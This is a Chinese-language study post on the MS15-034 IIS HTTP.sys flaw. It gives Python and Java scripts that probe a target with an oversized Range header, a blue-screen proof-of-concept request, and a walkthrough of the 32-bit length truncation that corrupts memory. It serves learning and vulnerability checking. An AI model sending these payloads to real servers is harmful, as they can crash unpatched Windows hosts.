微軟 IIS HTTP.sys漏洞原理學習以及POC

零、MS15-034POC核心部分(參考巡風)：

socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
flag = "GET / HTTP/1.0\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n"
s.send(flag)
data = s.recv(1024)
s.close()
if 'Requested Range Not Satisfiable' in data and 'Server: Microsoft' in data:
    print "vuln"

由於最近想學習java，所以修改了一版java的代碼：

/*
 * encoding:utf-8
 * Author:chenran01;
 * Email:[e-mail]
*/

//import lib packages
import java.net.Socket;
import java.util.Scanner;
import java.io.*;

//define main class
public class HTTPSYS{
    public static String IP_ADDR = "127.0.0.1";
    public static int PORT = 80;
    public static String Flag = "GET / HTTP/1.0\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
    //Flag is the payload
    public static void main(String[] args){
        System.out.print("Please input target IP:");
        Scanner input = new Scanner(System.in);
        IP_ADDR = input.next();
        System.out.print("Please input target port:");
        try{
            PORT = System.in.read();
        }catch(Exception ex){
            System.out.printf("Error-Reason:%s",ex.toString());
        }finally{
            PORT = 80;
        }
        try{
            Socket socket = new Socket(IP_ADDR,PORT);
            //創建socket
            DataInputStream socketrecv = new DataInputStream(socket.getInputStream());    
            DataOutputStream socketsend = new DataOutputStream(socket.getOutputStream());
            //創建輸入輸出對象
            socketsend.writeUTF(Flag);//發送payload
            String response_content = socketrecv.readUTF();//獲取回顯
            if(response_content.indexOf("Server: Microsoft") != -1 && response_content.indexOf("Requested Range Not Satisfiable") != -1){
                System.out.print("有漏洞");
            }else{
                System.out.print("沒有漏洞");
            }
        }catch(Exception ex){
            System.out.printf("Error-Reason:%s",ex.toString());
        }
        
        
    }
} 

 

一、MS15-034 HTTP.sys漏洞原理考證：

原理部分參考：http://www.ijiandao.com/safe/cto/12821.html

#舉例：藍屏POC
"""
GET /welcome.png HTTP/1.1
Host: PoC
Range: bytes=12345-18446744073709551615
"""

這個地方的Range字段在IIS內部HTTP!UlBuildFastRangeCacheMdlChain（用於生成響應報文的緩存MDL鏈，來描述HTTP響應的狀態行、頭部與消息體。）這個函數中會調用一次nt! IoBuildPartialMdl函數來生成MDL鏈。這這個函數里，會計算length這個值：

 

 注意這里明確要求了由VirtualAddress與Length確定的區間必須是SourceMdl描述的緩沖區的一個自區間，正是對此要求的違反導致了此漏洞中的內存破壞。

第3次調用nt! IoBuildPartialMdl來生成消息體MDL時的參數如下：

SourceMdl = 0xfffffa801a38cb60
SourceMdl.VirtualAddress = 0xfffffa801ac94000
SourceMdl.ByteCount = 0x2d315
SourceMdl.ByteOffset = 0x0
TargetMdl = 0xfffffa801a2ed580
TargetMdl.VirtualAddress = 0xfffffa801ac97000
TargetMdl.ByteCount = 0xffffcfc7
TargetMdl.ByteOffset = 0x39
VirtualAddress = 0xfffffa801ac97039
Length = 0xffffcfc7

這里的Length是根據HTTP請求消息頭部中的Range字段計算得到的，過程如下：

首先，在HTTP!UlpParseRange中對Range字段進行解析，得到RangeBegin、RangeEnd；
然后，計算RangeLength = RangeEnd – RangeBegin + 1；
最后，將RangeLength截斷為32位得到Length。
以PoC中的Range: bytes=12345-18446744073709551615為例：
RangeBegin = 12345 = 0x3039
RangeEnd = 18446744073709551615 = 0xffffffffffffffff
RangeLength = 0xffffffffffffffff – 0x00003039 + 1 = 0xffffffffffffcfc7
Length = 0xffffcfc7
顯然由於Length超長而導致違反了nt! IoBuildPartialMdl的要求，進而造成內存破壞。